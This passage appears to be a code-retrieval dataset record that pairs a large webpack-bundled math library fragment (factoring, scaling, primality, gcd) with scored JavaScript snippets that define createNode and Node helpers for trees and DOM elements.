_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COEFF:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TIMES:\n var ff = [];\n node.args.forEach(function (n) {\n ff = ff.concat(factors(options, n, env, ignorePrimeFactors, preserveNeg));\n });\n return ff;\n default:\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"2000: Node not normalized\");\n break;\n }\n return [node];\n },\n unary: function(node) {\n return [node];\n },\n exponential: function (node) {\n if (option(options, \"dontExpandPowers\")) {\n return [node];\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n var isDenom;\n if (isNeg(options, mathValue(options, binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, node.args.slice(1)), true))) {\n // isNeg(options, ) doesn't handle powers so use mathValue(options, ) to help.\n isDenom = true;\n }\n var ff = [];\n var e = mathValue(options, node.args[1]);\n var ea = Math.abs(toNumber(e));\n if (ea < 5 || ea < 10 && !isPolynomial(node.args[0])) {\n // Limit complexity of polynomial expansion.\n var args = factors(options, node.args[0], {}, false, true, true);\n for (var j = 0; j < args.length; j++) {\n var f;\n if (isMinusOne(args[j])) {\n f = nodeMinusOne;\n } else {\n f = isDenom ? newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [args[j], nodeMinusOne]) : args[j];\n }\n for (var i = ea; i > 0; i--) {\n ff.push(f);\n }\n }\n return ff;\n } else {\n return [node];\n }\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG) {\n return [node];\n }\n },\n variable: function(node) {\n return [node];\n },\n comma: function(node) {\n return [node];\n },\n equals: function(node) {\n return [node];\n }\n });\n }\n\n function commonFactors(options, lnode, rnode) {\n var t1 = [lnode, rnode];\n var t;\n var t2 = [];\n // Factorise each term and intern its factors (giving each unqiue\n // sub-expression an id.\n t1.forEach(function (n) {\n t = factors(options, n, null, false, true);\n var ff = [];\n t.forEach(function (n) {\n ff.push(ast.intern(n));\n });\n t2.push(ff);\n });\n // Check to see if there are any common factors (ids).\n var intersect = t2.shift();\n t2.forEach(function (a) {\n intersect = intersect.filter(function (n) {\n var i = a.indexOf(n);\n if (i !== -1) {\n delete a[i]; // Erase matches.\n return true;\n }\n return false;\n });\n });\n return intersect;\n }\n\n function factorTerms(lnode, rnode) {\n // Eliminate the common factors from each term and sum the unique parts.\n var cfacts = commonFactors(options, lnode, rnode);\n var lfacts = factors(options, lnode, null, false, true);\n var rfacts = factors(options, rnode, null, false, true);\n var lfacts2 = [], rfacts2 = [];\n var cf = cfacts.slice(0);\n var i;\n lfacts.forEach(function (f) {\n if ((i = cf.indexOf(ast.intern(f))) === -1) {\n lfacts2.push(f);\n } else {\n delete cf[i]; // Erase the matched factor.\n }\n });\n var cf = cfacts.slice(0);\n rfacts.forEach(function (f) {\n if ((i = cf.indexOf(ast.intern(f))) === -1) {\n rfacts2.push(f);\n } else {\n delete cf[i]; // Erase the matched factor.\n }\n });\n var aa = [];\n aa = aa.concat(makeFactor(lfacts2));\n aa = aa.concat(makeFactor(rfacts2));\n var args = [];\n if (aa.length > 0) {\n args.push(makeTerm(aa));\n }\n cfacts.forEach(function (i) {\n args.push(ast.node(i));\n });\n let node = makeFactor(args);\n return node[0];\n }\n\n function makeFactor(args) {\n if (args.length === 0) {\n return [nodeOne]; // No factors, means times one.\n } else if (args.length === 1) {\n return args;\n }\n args = sortFactors(args);\n return [multiplyNode(args, true)];\n }\n\n function makeTerm(args) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(args.length > 0, \"2000: Too few arguments in makeTerm()\");\n if (args.length === 1) {\n return args[0];\n }\n return addNode(args);\n }\n\n function isHyperbolicTangent(node) {\n return node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL &&\n node.args.length > 1 &&\n node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH &&\n node.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n node.args[1].args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH &&\n isMinusOne(node.args[1].args[1]);\n }\n function isHyperbolicCotangent(node) {\n return node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL &&\n node.args.length > 1 &&\n node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH &&\n node.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n node.args[1].args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH &&\n isMinusOne(node.args[1].args[1]);\n }\n function isHyperbolicSecant(node) {\n return node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n node.args.length > 1 &&\n node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH &&\n isMinusOne(node.args[1]);\n }\n function isHyperbolicCosecant(node) {\n return node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n node.args.length > 1 &&\n node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH &&\n isMinusOne(node.args[1]);\n }\n\n // Scale the numbers in an expression.\n function scale(options, root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var node = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].create(options, visit(options, root, {\n name: \"scale\",\n exponential: function (node) {\n var mv, nd;\n if ((mv = mathValue(options, node, true)) &&\n (nd = numberNode(options, String(mv), true))) {\n return nd;\n }\n if (isHyperbolicSecant(node)) {\n // sech(x) = 1/cosh(x) = 2/(e^x+e^-x)\n var arg = node.args[0].args[0];\n var epx = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [nodeE, arg]);\n var emx = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [nodeE, negate(arg)]);\n var numer = nodeTwo;\n var denom = addNode([epx, emx]);\n node = fractionNode(numer, denom);\n node = scale(options, expand(options, normalize(options, simplify(options, expand(options, normalize(options, node))))));\n } else if (isHyperbolicCosecant(node)) {\n // csch(x) = 1/sinh(x) = 2/(e^x-e^-x)\n var arg = node.args[0].args[0];\n var epx = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [nodeE, arg]);\n var emx = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [nodeE, negate(arg)]);\n var numer = nodeTwo;\n var denom = addNode([epx, negate(emx)]);\n node = fractionNode(numer, denom);\n node = scale(options, expand(options, normalize(options, simplify(options, expand(options, normalize(options, node))))));\n }\n var args = [];\n node.args.forEach(function (n) {\n args.push(scale(options, n));\n });\n return newNode(node.op, args);\n },\n multiplicative: function (node) {\n var mv, nd;\n if ((mv = mathValue(options, node, true)) &&\n (nd = numberNode(options, String(mv), true))) {\n return nd;\n }\n if (isHyperbolicTangent(node)) {\n // tanh(x) = (e^x-e^-x)/(e^x+e^-x)\n var arg = node.args[0].args[0];\n var epx = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [nodeE, arg]);\n var emx = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [nodeE, negate(arg)]);\n var numer = addNode([epx, negate(emx)]);\n var denom = addNode([epx, emx]);\n node = fractionNode(numer, denom);\n node = scale(options, expand(options, normalize(options, simplify(options, expand(options, normalize(options, node))))));\n return node;\n } else if (isHyperbolicCotangent(node)) {\n // coth(x) = (e^x+e^-x)/(e^x-e^-x)\n var arg = node.args[0].args[0];\n var epx = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [nodeE, arg]);\n var emx = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [nodeE, negate(arg)]);\n var numer = addNode([epx, emx]);\n var denom = addNode([epx, negate(emx)]);\n node = fractionNode(numer, denom);\n node = scale(options, expand(options, normalize(options, simplify(options, expand(options, normalize(options, node))))));\n return node;\n }\n var args = [];\n var mv2;\n node.args.forEach(function (n, i) {\n if ((mv = mathValue(options, n, true))) {\n if (mv2 === undefined) {\n mv2 = mv;\n } else {\n mv2 = mv2.times(mv);\n }\n } else if (isEmptyNode(n)) {\n // Erase.\n } else {\n args.push(scale(options, n));\n }\n });\n var n;\n if (!isOne((n = numberNode(options, mv2, true)))) {\n args.unshift(n);\n }\n node = multiplyNode(args);\n if ((mv = mathValue(options, node, true)) &&\n (nd = numberNode(options, String(mv), true))) {\n return nd;\n }\n return node;\n },\n additive: function (node) {\n var mv, nd;\n if ((mv = mathValue(options, node, true)) &&\n (nd = numberNode(options, String(mv), true))) {\n return nd;\n }\n var args = [];\n var mv2 = bigZero;\n node.args.forEach(function (n) {\n if ((mv = mathValue(options, addNode([numberNode(options, mv2), n]), true))) {\n // Accumulate a constant term.\n mv2 = mv;\n } else {\n args.push(scale(options, n));\n }\n });\n if (!isZero(mv2)) {\n args.unshift(numberNode(options, mv2, true));\n }\n if (args.length === 1) {\n node = args[0];\n } else {\n node = addNode(args);\n }\n if ((mv = mathValue(options, node, true)) &&\n (nd = numberNode(options, String(mv), true))) {\n return nd;\n }\n return node;\n },\n unary: function(node) {\n var mv;\n if ((mv = mathValue(options, node, true))) {\n return numberNode(options, mv, true);\n }\n var args = [];\n node.args.forEach(function (n) {\n args.push(scale(options, n));\n });\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH:\n var arg = args[0];\n node = addNode([\n fractionNode(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n nodeE,\n arg]), nodeTwo),\n fractionNode(negate(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n nodeE,\n negate(arg)])), nodeTwo)\n ]);\n node = scale(options, expand(options, normalize(options, simplify(options, expand(options, normalize(options, node))))));\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH:\n var arg = args[0];\n node = addNode([\n fractionNode(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n nodeE,\n arg]), nodeTwo),\n fractionNode(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n nodeE,\n negate(arg)]), nodeTwo),\n ]);\n node = scale(options, expand(options, normalize(options, simplify(options, expand(options, normalize(options, node))))));\n break;\n default:\n node = newNode(node.op, args);\n break;\n }\n return node;\n },\n numeric: function(node) {\n if (isUndefined(node)) {\n return node;\n }\n return numberNode(options, node.args[0], true);\n },\n variable: function(node) {\n var val;\n if ((val = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[node.args[0]])) {\n if (val.type === \"unit\") {\n if (val.base === \"\\\\radian\") {\n // Strip radian units.\n node = numberNode(options, val.value);\n } else if (val.value !== 1) {\n // If value is not one, then convert to base units.\n node = multiplyNode([numberNode(options, val.value, true), variableNode(val.base)]);\n }\n } else if (val.type === \"const\") {\n node = numberNode(options, val.value, true);\n }\n }\n return node; // Nothing to do here.\n },\n comma: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args.push(scale(options, n));\n });\n return newNode(node.op, args);\n },\n equals: function(node) {\n var args = [];\n // If equality and LHS leading coefficient is negative, then multiply by -1\n var c, cc;\n if ((node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].EQL || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].APPROX) &&\n ((cc = isPolynomial(node.args[0])) && cc[cc.length-1] < 0 ||\n !cc && sign(node.args[0]) < 0)) {\n node.args[0] = simplify(options, expand(options, negate(node.args[0])));\n }\n if (isComparison(node.op)) {\n var lc, args = [];\n var lnode = node.args[0];\n if (isPolynomial(lnode) && isAdditive(lnode) && !isOne(abs(leadingCoeff(lnode)))) {\n // Normalize leading coefficient to one. Skip if already 1 or -1.\n lnode.args.forEach(function (n, i) {\n if (i === 0) {\n lc = constantPart(n);\n var vp = variablePart(n);\n if (vp) {\n args.push(vp);\n }\n } else {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(lc, \"2000: Internal error.\");\n args.push(fractionNode(n, lc));\n }\n });\n // This is a bit of a hack, making a unary additive node to continue\n // in this block.\n node.args[0] = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD, [multiplyNode([lc, addNode(args)])]);\n }\n }\n args = [];\n node.args.forEach(function (n) {\n args.push(scale(options, n));\n });\n return newNode(node.op, args);\n }\n }), root.location);\n return node;\n }\n\n function isExpanded(options, root) {\n return _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].fn.isExpanded(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].create(options, root), options);\n }\n\n // Returns true if 'root' has no factors with coefficients in the integers.\n function isFactorised(options, root, env) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n return visit(options, root, {\n name: \"isFactorised\",\n numeric: function (node) {\n // We don't care about prime factors.\n return true;\n },\n additive: function (node) {\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM) {\n return true;\n }\n var vars = variables(node);\n var coeffs, vals;\n var t1 = terms(normalize(options, node));\n var t;\n var t2 = [];\n // Factorise each term and intern its factors (giving each unqiue\n // sub-expression an id.\n t1.forEach(function (n) {\n t = factors(options, n);\n var ff = [];\n t.forEach(function (n) {\n ff.push(ast.intern(n));\n });\n t2.push(ff);\n });\n // Check to see if there are any common factors (ids). Start with the\n // factors of the first term.\n var intersect = t2.shift();\n t2.forEach(function (a) {\n intersect = intersect.filter(function (n) {\n return a.indexOf(n) != -1;\n });\n });\n // If so, then root is not factorised.\n if (intersect.length > 0) {\n return false;\n }\n // If not, check to see if there are any integer solutions to the\n // quadratic equation.\n if ((coeffs = isPolynomial(node)) && coeffs.length < 3) {\n return true; // 0 or 1 degree equations that get here are factored.\n } else if (coeffs !== null && variables(node).length === 1) {\n if (coeffs.length === 3) {\n return !solveQuadratic(options, coeffs[2], coeffs[1], coeffs[0]);\n }\n return !hasRoot(options, node, coeffs);\n } else if (t1.some(function (n) {\n var d = degree(n, true);\n if (d === Number.POSITIVE_INFINITY) {\n // x^y\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2003));\n return undefined;\n }\n })) {\n return true;\n } else if (t1.some(function (n) {\n var d = degree(n, true);\n if (d >= 0 && d < 2) {\n // x+y^2+xy\n return true;\n }\n })) {\n return true;\n }\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(vars.length < 2, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2001));\n // FIXME What other checks can we add here?\n return true;\n },\n multiplicative: function (node) {\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL:\n var result = node.args.every(function (n) {\n return isFactorised(options, n);\n });\n return result; //&& !hasLikeFactors(node);\n default:\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(false, \"2000: isFactorised(): node not normalized\");\n break;\n }\n return false;\n },\n unary: function(node) {\n return true;\n },\n exponential: function (node) {\n return true;\n },\n variable: function(node) {\n return true;\n },\n comma: function(node) {\n var result = node.args.every(function (n) {\n return isFactorised(options, n);\n });\n return result;\n },\n equals: function(node) {\n var result = node.args.every(function (n) {\n return isFactorised(options, n);\n });\n return result;\n }\n });\n }\n\n var primes = [\n 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67,\n 71, 73, 79, 83, 89, 97\n ];\n\n // Table of values and their primality.\n var primesCache = {};\n primes.forEach(function (v) {\n primesCache[v] = true;\n });\n\n function findPossibleRoots(coeffs) {\n var c0 = coeffs[0]; // Zero degree.\n var c1 = coeffs[coeffs.length-1]; // Highest degree.\n // FIXME eliminate dups\n // FIXME sort by most likely roots\n var f0 = primeFactors(c0);\n var f1 = primeFactors(c1);\n f0.push(1);\n f0.push(c0);\n f1.push(1);\n f1.push(c1);\n var possibleRoots = [];\n f0.forEach(function (n) {\n var n0 = numberNode(options, n);\n var n1 = negate(numberNode(options, n));\n f1.forEach(function (d) {\n var d = numberNode(options, d);\n possibleRoots.push(fractionNode(n0, d));\n possibleRoots.push(fractionNode(n1, d));\n });\n });\n return possibleRoots;\n }\n\n function hasRoot(options, node, coeffs) {\n var rr = findPossibleRoots(coeffs);\n var field = option(options, \"field\");\n return rr.some(function (r) {\n r = toNumber(mathValue(options, r, true));\n var nn = variables(node);\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(nn.length === 1, \"2000: Internal error.\");\n var env = {};\n env[nn[0]] = {\n type: \"const\",\n value: r\n };\n // Evalutate expression for each possible root.\n var x = toNumber(mathValue(options, node, env, true));\n return x === 0 &&\n (field === \"integer\" && r === (r | 0) ||\n field === \"real\"); // FIXME document that this actually only works for rational, not all reals\n });\n }\n\n function solveQuadratic(options, a, b, c) {\n a = toNumber(a); // FIXME do math in BD\n b = toNumber(b);\n c = toNumber(c);\n var x0 = (-b + Math.sqrt(b * b - 4 * a * c)) / (2 * a);\n var x1 = (-b - Math.sqrt(b * b - 4 * a * c)) / (2 * a);\n var opt = option(options, \"field\");\n var hasSolution =\n opt === \"integer\" && ((x0 === (x0 | 0)) && (x1 === (x1 | 0))) ||\n opt === \"real\" && (b * b - 4 * a * c) >= 0 ||\n opt === \"complex\"; // Redundant, but okay.\n if (hasSolution) {\n return [x0, x1]; //[new Decimal(x0.toString()), new Decimal(x1.toString())];\n }\n return null;\n }\n function primeFactors(n) { // n : Number\n var absN = Math.abs(n);\n if (absN <= 1 || isNaN(n) || isInfinity(n) || isImaginary(n)) {\n return [];\n } else if (isPrime(absN)) {\n return [absN];\n }\n var maxf = Math.sqrt(absN);\n for (var f = 2; f <= maxf; f++) {\n if (n % f === 0) {\n return primeFactors(f).concat(primeFactors(absN / f));\n }\n }\n }\n function isPrime(n) {\n if (primesCache[n] !== void 0) {\n return primesCache[n];\n }\n if (n <= 1) {\n primesCache[n] = false;\n return false;\n } else {\n if (n <= 1 || n > 2 && n % 2 === 0) {\n return primesCache[n] = false;\n } else {\n for (var i = 3, sqrt = Math.sqrt(n); i <= sqrt; i += 2) {\n if (n % i === 0) {\n return primesCache[n] = false;\n }\n }\n }\n return primesCache[n] = true;\n }\n }\n\n function gcd(a, b) {\n if (arguments.length > 2) {\n var rest = [].slice.call(arguments, 1);\n return gcd(a, gcd.apply(rest));\n } else {\n var mod;\n a = Math.abs(a);\n b = Math.abs(b);\n while (b) {\n mod = a % b;\n a = b;\n b = mod;\n }\n return a;\n }\n }\n\n function lcm(a, b) {\n if (arguments.length > 2) {\n var rest = [].slice.call(arguments, 1);\n return lcm(a, lcm.apply(rest));\n } else {\n return Math.abs(a * b) / gcd(a, b);\n }\n }\n\n // Visitor exports\n this.normalize = normalize;\n this.normalizeSympy = normalizeSympy;\n this.normalizeExpanded = normalizeExpanded;\n this.normalizeLiteral = normalizeLiteral;\n this.normalizeSyntax = normalizeSyntax;\n this.normalizeCalculate = normalizeCalculate;\n this.degree = degree;\n this.constantPart = constantPart;\n this.variables = variables;\n this.variablePart = variablePart;\n this.sort = sort;\n this.sortLiteral = sortLiteral;\n this.simplify = simplify;\n this.formatMath = formatMath;\n this.expand = expand;\n this.terms = terms;\n this.subexprs = subexprs;\n this.factors = factors;\n this.isFactorised = isFactorised;\n this.isExpanded = isExpanded;\n this.mathValue = mathValue;\n this.units = units;\n this.scale = scale;\n this.hasLikeFactors = hasLikeFactors;\n this.hasLikeFactorsOrTerms = hasLikeFactorsOrTerms;\n this.factorGroupingKey = factorGroupingKey;\n this.hint = hint;\n this.eraseCommonExpressions = eraseCommonExpressions;\n this.crossMultiply = crossMultiply;\n }", "title": "" }, { "docid": "88429fe657345f9f2b112eb1f8bb64d7", "score": "0.5014321", "text": "function createNode(options) {\n return options.node || document.createElement('div');\n }", "title": "" }, { "docid": "4135a0ab64faa9138d140d0d8f3d95bf", "score": "0.50094515", "text": "function createNode( type, value, children ) {\n\tvar n = new NODE();\n\tn.type = type;\n\tn.value = value;\t\n\tn.children = new Array();\n\t\n\tfor( var i = 2; i < arguments.length; i++ )\n\t\tn.children.push( arguments[i] );\n\t\t\n\treturn n;\n}", "title": "" }, { "docid": "4d7c15feae996d9a3928def19510ec16", "score": "0.4997239", "text": "createNode(name, options) {\n return new BaseNodeProcess(name, false, options, this.logFilePathBaseNode);\n }", "title": "" }, { "docid": "cbc375c1f3ab723312ac82e60fd95c5c", "score": "0.49833742", "text": "function createNode(nodeType,nodeClassName,nodeStyle) {\n\tvar el = document.createElement(nodeType);\n\tif (nodeClassName) el.className = nodeClassName;\n\tif (nodeStyle) {\n \t\tif (el.style.cssText!='undefined') el.style.cssText = nodeStyle;\n\t\telse el.setAttribute('style',nodeStyle);\t// Opera\n\t}\n\treturn el;\n}", "title": "" }, { "docid": "e1d0db3731e4b8471c073a6188a9fd34", "score": "0.4981706", "text": "function createNode(type, attributes, props, evls) {\r\n \r\n var node = document.createElement(type);\r\n \r\n if (attributes) {\r\n for (var attr in attributes) {\r\n if (attributes.hasOwnProperty(attr)) node.setAttribute(attr, attributes[attr]);\r\n }\r\n }\r\n \r\n if (props) {\r\n for (var prop in props) {\r\n if ((props.hasOwnProperty(prop)) && (prop in node)) node[prop] = props[prop];\r\n }\r\n }\r\n \r\n if (Array.isArray(evls)) {\r\n evls.forEach(function(evl) {\r\n if (Array.isArray(evl)) node.addEventListener.apply(node, evl);\r\n });\r\n }\r\n \r\n return node;\r\n \r\n }", "title": "" }, { "docid": "fdb25b0e992b1225e5ceab7301e0cd97", "score": "0.49748316", "text": "function Node() {\n}", "title": "" }, { "docid": "f6c99c92c3d053ea775d983acc872457", "score": "0.49475706", "text": "function traverseNodes(node, visitor) {\n traverse(node, null, visitor);\n}", "title": "" }, { "docid": "240308686901878867b62887e85d138c", "score": "0.4894415", "text": "function createNode(type, attributes, props, evls) {\r\n\r\n var node = document.createElement(type);\r\n\r\n if (attributes) {\r\n for (var attr in attributes) {\r\n if (attributes.hasOwnProperty(attr)) node.setAttribute(attr, attributes[attr]);\r\n }\r\n }\r\n\r\n if (props) {\r\n for (var prop in props) {\r\n if ((props.hasOwnProperty(prop)) && (prop in node)) node[prop] = props[prop];\r\n }\r\n }\r\n\r\n if (Array.isArray(evls)) {\r\n evls.forEach(function(evl) {\r\n if (Array.isArray(evl)) node.addEventListener.apply(node, evl);\r\n });\r\n }\r\n return node;\r\n}", "title": "" }, { "docid": "b4e09adbdebdee80324cdeebe1098ecb", "score": "0.48747545", "text": "function Node(type) {\n this.type = type;\n }", "title": "" }, { "docid": "0f8120dcdf25e65be7a664fec14fc28e", "score": "0.48376146", "text": "function Node(name) {\n this.name = name;\n this.children = [];\n}", "title": "" }, { "docid": "c227b4d84ddaf73a725678a36855da5a", "score": "0.4833272", "text": "function _createNode(nodeName, className, parentNode) {\n\t\t\tvar node = document.createElement(nodeName);\n\t\t\tnode.className += className;\n\t\t\treturn parentNode.appendChild(node);\n\t\t}", "title": "" }, { "docid": "843655d9ba0ed7cac1c8c0b7b4c0a4e7", "score": "0.4831434", "text": "function makeNode(nodeName, nodeText, tagAttrib,parentNode, id){\n \n //var htmlTag = nodeName == '#text' ? \"\" : nodeName;\n \n return new TextTypeNode(nodeName == '#text' ? \"\" : nodeName,\n nodeText, tagAttrib,parentNode,id);\n \n }", "title": "" }, { "docid": "f15f81f2d66711b01c68a4b056727156", "score": "0.48224384", "text": "function Parser(nodeFactory) {\n if (nodeFactory === void 0) { nodeFactory = new node_factory_1.NodeFactory(); }\n this.nodeFactory = nodeFactory;\n }", "title": "" }, { "docid": "753b5372007758ee8bec82c671b85645", "score": "0.48184094", "text": "function newProtocolTreeNode(aTag, aAttributes, aChildren, aData) {\n return new CoSeMe.protocol.Tree(aTag, {\n attributes: aAttributes,\n children: aChildren,\n data: aData\n });\n }", "title": "" }, { "docid": "3cc948dfea09bdacee52db1844510d70", "score": "0.48058414", "text": "function createNode(options) {\n return options.node || document.createElement(options.tag || 'div');\n }", "title": "" }, { "docid": "e0b4de02668dc10edf2dede3ee63a07f", "score": "0.47959566", "text": "function RNode() { }", "title": "" }, { "docid": "e0b4de02668dc10edf2dede3ee63a07f", "score": "0.47959566", "text": "function RNode() { }", "title": "" }, { "docid": "04a7aab0b0a9e2211cee05bef6ab0c37", "score": "0.4778277", "text": "function RelayNode(options){\n\t\toptions = options || {};\n\t\tNode.call(this, options);\n\t}", "title": "" }, { "docid": "709fdd263120bba254121318f664dd08", "score": "0.47754118", "text": "function DocumentWalker(aNode, aShow, aFilter)\n{\n let doc = nodeDocument(aNode);\n this.walker = doc.createTreeWalker(nodeDocument(aNode), aShow, aFilter);\n this.walker.currentNode = aNode;\n this.filter = aFilter;\n}", "title": "" }, { "docid": "5e364b2a24e27e2ddf7faaa3ba28439d", "score": "0.47598737", "text": "function RNode() {}", "title": "" }, { "docid": "2a62fa88192bdd7643980cc02da08731", "score": "0.4756586", "text": "function RNode(){}", "title": "" }, { "docid": "44fcb6d12c59d58f42e73415e1fcbe2e", "score": "0.4755489", "text": "static parse(\n object,\n constructor = (object) => ({\n id: object.id,\n content: object.content,\n nodes: object.nodes\n })\n ) {\n const { id, content, nodes } = constructor(object)\n const node = new Node({ id, content })\n for (const object of nodes) {\n node.add(Node.parse(object, constructor))\n }\n return node\n }", "title": "" }, { "docid": "00067107f1bab549ad3b044d019dd76d", "score": "0.47447523", "text": "constructor(rootNode = null) {\n if (rootNode === null) {\n this.root = new Node();\n this.instruc = [];\n }\n }", "title": "" }, { "docid": "7deaf132b199df82c377d54d867d4c25", "score": "0.47321254", "text": "function Node(node) {\n viewDeterminatie.setKey(this);\n this.IsVraag = node.IsVraag;\n this.IsHuidige = node.IsHuidige;\n if (this.IsHuidige) viewDeterminatie.Huidige = this;\n if (this.IsVraag) {\n this.DeterminatieVraag = new DeterminatieVraag(node.Vraag);\n this.JaKind = new Node(node.JaKind);\n this.JaKind.Ouder = this;\n this.NeeKind = new Node(node.NeeKind);\n this.NeeKind.Ouder = this;\n if (this.DeterminatieVraag.KorteVraag.length > viewDeterminatie.MaxVraagBreedte) viewDeterminatie.MaxVraagBreedte = this.DeterminatieVraag.KorteVraag.length;\n } else {\n this.Kenmerk = new Kenmerk(node.Kenmerk);\n if (this.Kenmerk.Klimaat.length > viewDeterminatie.MaxKenmerkBreedte) viewDeterminatie.MaxKenmerkBreedte = this.Kenmerk.Klimaat.length;\n }\n}", "title": "" }, { "docid": "4f9014efdcfe95dacb8b202ecd686c27", "score": "0.47166872", "text": "constructor()\n {\n this.root = new Node(null);\n }", "title": "" }, { "docid": "314183b1b9c8ff824fde4b62ff3ce7ae", "score": "0.47120962", "text": "constructor() {\n super({ node: Private.createNode() });\n }", "title": "" }, { "docid": "5b77d18d6f5404bbbd7e615fd95b3380", "score": "0.4711149", "text": "function createNode( xml, strName, aAttributes ) {\n\ttry {\n\t\tvar ndNode = xml.createNode( 1, strName, '' );\n\t} catch( e ) {\n\t\t// we likely have a node specified, use the owner document\n\t\tvar ndNode = xml.ownerDocument.createNode( 1, strName, '' );\n\t}\n\tsetNodeAttributes( ndNode, aAttributes );\n\treturn ndNode;\n}", "title": "" }, { "docid": "ad3b313e69874306cc7d6c6503c7d33f", "score": "0.47072372", "text": "constructor(x, n, p, e, left, right, node_type=''){\n /* \n Tree_Node(X, n, p, e, left, right, node_type = '' )\n Create a node in a given tree (iTree objectg)\n Parameters\n ----------\n X : list of list of floats\n Training data available to each node. List of [x1,x2,...,xn] coordinate points.\n n : list of floats\n Normal vector for the hyperplane used for splitting data.\n p : list of floats\n Intercept point for the hyperplane used for splitting data.\n left : Tree_Node object\n Left child node.\n right : Tree_Node object\n Right child node.\n node_type : str\n Specifies if the node is external or internal. Takes two values: 'exTree_Node', 'inNode'.\n */\n this.e = e\n this.size = x.length\n this.x = x // to be removed\n this.n = n\n this.p = p\n this.left = left\n this.right = right\n this.ntype = node_type\n }", "title": "" }, { "docid": "e68aeadb7665f6b8a09b9c26a8c66987", "score": "0.46836552", "text": "static x(type, props, ...children) {\n// Return a new Node...\n return new Node({\n type,\n props,\n children,\n })\n }", "title": "" }, { "docid": "c7e81b3c4ef763476cc56ce7280f1e9a", "score": "0.46802723", "text": "function visit (node, visitor) {\n// INSTRUCTIONS\n // If node is null, return nothing immediately.\n // If node has a west node, call visit passing the west node and the visitor.\n // Call visitor with the node's object. (When does this happen?)\n // If node has a east node, call visit passing the east node and the visitor.\n\n// IMPLEMENT THIS FUNCTION ^^^^\n\n // (1) If node is null, return nothing immediately.\n if (!node) {\n return console.log(\"nothing immediately\")\n }\n\n // console.log(typeof(visitor)) // <- this is always a function\n\n\n // (2) If node has a west node, call visit passing the west node and the visitor.\n if (node.west) {\n //console.log('west')\n\n visit(node.west, visitor)\n }\n\n // (3) Call visitor with the node's object.\n visitor(node.object) // <- call visitor here?\n\n\n // (4) If node has a east node, call visit passing the east node and the visitor.\n if (node.east) {\n //console.log('east')\n\n visit(node.east, visitor)\n }\n\n}", "title": "" }, { "docid": "f16651bb15f028b24db6ce71c201eaa9", "score": "0.46686095", "text": "constructor() {\n this.root = 